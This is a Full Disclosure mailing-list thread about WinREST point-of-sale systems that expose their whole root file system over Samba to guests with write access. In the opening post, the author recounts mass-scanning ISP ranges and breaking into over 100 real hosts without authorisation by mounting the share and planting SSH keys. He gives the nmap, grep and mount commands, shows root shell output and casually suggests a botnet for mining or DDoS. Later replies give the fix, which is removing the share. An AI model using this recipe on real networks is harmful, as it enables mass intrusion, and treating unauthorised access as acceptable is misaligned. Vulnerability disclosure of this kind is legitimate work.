As requested the solution is trivial.
Edit samba configuration file and remove Root file share. It is
pointless and not recommended at all.
---
Vítor Silva
[email protected]
Estudante
FACULDADE DE CIÊNCIAS DA UNIVERSIDADE DO PORTO
Rua do Campo Alegre, s/n, 4169-007 Porto, Portugal
www.fc.up.pt
A 2016-02-12 22:51, John Martinelli escreveu:
Please shade this with FD. :)
On Feb 12, 2016 5:48 PM, "Vítor Hugo Silva" <[email protected]>
wrote:
The solution is edit this file:
0 /etc/samba # cat smb.conf | grep -A11 Root
[Root]
comment = GrupoPIE distro root dir
path = /
force user = root #why omg
force group = root #just why
guest ok = yes #this
guest only = yes #and this too
writable = yes #and this
readonly = no #we love redundancy
public = yes #Here too but it is the same as guest ok
browsable = yes #shouldn't be
0 /etc/samba #
But seriously why is root file system shared?
It shouldn't even be in the samba conf file (/etc/samba/smb.conf)
guest ok=yes will make no prompt for password.
so the force user and group assigned to root will make guest connection
as root.
---
Vítor Silva
[email protected]
Estudante | Student
FACULDADE DE CIÊNCIAS DA UNIVERSIDADE DO PORTO
Rua do Campo Alegre, s/n, 4169-007 Porto, Portugal
www.fc.up.pt
A 2016-02-12 21:55, John Martinelli escreveu:
Impressive, but please provide a solution to protect these devices.
On Feb 12, 2016 4:49 PM, "Vitor Silva" <[email protected]> wrote:
So a year back I was massively scanning internet. This case ISPs IPs
blocks where you can find easily at RIPE for example.
Then I found some interesting hosts where SMB were open and the ACL is
totally open to root file system with the same netbios name.
All file system is writable.
I was able to find some software of WinREST
https://www.grupopie.com/frontoffice.html so I was amazed how a system
like this is totaly open.
So what I thought to do: Get root! how?
First mount smb file share then created RSA key. I created a directory
under root folder of authorised keys, edited the file of dropbear to
make sure ssh daemon will run and done.
Got root.
How big this is?
Well lets ask PIE group the company that makes this software...
I made some shell scripts to automatically find vulnerable hosts and
inject all files necessarily.
First gather all subnets of ISPs then
# nmap -sV --open -p139 -n -oN allopenhosts -iL ISPRIPENCCblocks
Since we know WinREST is vulnerable by default we filter by hostname
with
# grep 'WINREST\|PINGWIN' allopenhosts -B3 | grep -Eo
'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
Now we got a file with all hosts running winrest.
Now run a script to read each line, mount with CIFS, and lets fun
begin.
You know own some hosts. Let me show you all.
After you find some hosts
# mount -t cifs -o user=nobody,password=nobody //IP OMITTED/Root
/mnt/hack/
Then just ls:
# ls /mnt/hack/
bin boot dev etc home images.scr lib lost+found mnt Photo
proc root sbin sys tmp usr var
Lets just touch something:
/mnt/hack# touch omg ; ls
bin boot dev etc home images.scr lib lost+found mnt omg Photo
proc root sbin sys tmp usr var
Omg. We can create files. Lets see root folder:
root@hostname:/mnt/hack# cd root/
root@hostname:/mnt/hack/root# ls
sq_bin sq_machines sq_modules sq_usr
root@hostname:/mnt/hack/root# touch OMG
root@hostname:/mnt/hack/root# ls
OMG sq_bin sq_machines sq_modules sq_usr
As I said now we own this. Easy generate RSA key with ssh-keygen and
use it to authenticate as root.
root@hostname:~# ssh IP OMITTED
0 ~ # ls
OMG sq_bin* sq_machines* sq_modules* sq_usr*
0 ~ # uname -a
Linux ws1t1 2.6.39.4-pie #15 SMP Wed Apr 30 12:39:28 WEST 2014 i686
GNU/Linux
0 ~ # cat /proc/cpuinfo
processor : 0
vendor_id : CentaurHauls
cpu family : 6
model : 13
model name : VIA C7 Processor 1500MHz
stepping : 0
cpu MHz : 798.000
cache size : 128 KB
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 1
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge
cmov pat clflush acpi mmx fxsr sse sse2 tm nx up pni est tm2 xtpr rng
rng_en ace ace_en ace2 ace2_en phe phe_en pmm pmm_en
bogomips : 1596.00
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 32 bits virtual
power management:
Interesting part is you can build a botnet with this. It supports SSE
SSE2 so probably you could code your own C code and run it like a
daemon and you own a botnet.
For what? I don't care.
Bitcoin mining maybe, DDoS whatever.
1 Year back I made this so automatically I gathered over 100 hosts.
My first security report to a seclist I hope I got some feedback.
--Vítor Silva
[email protected]
Estudante | Student
FACULDADE DE CIÊNCIAS DA UNIVERSIDADE DO PORTO
Rua do Campo Alegre, s/n, 4169-007 Porto, Portugal
www.fc.up.pt <http://www.fc.up.pt/>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
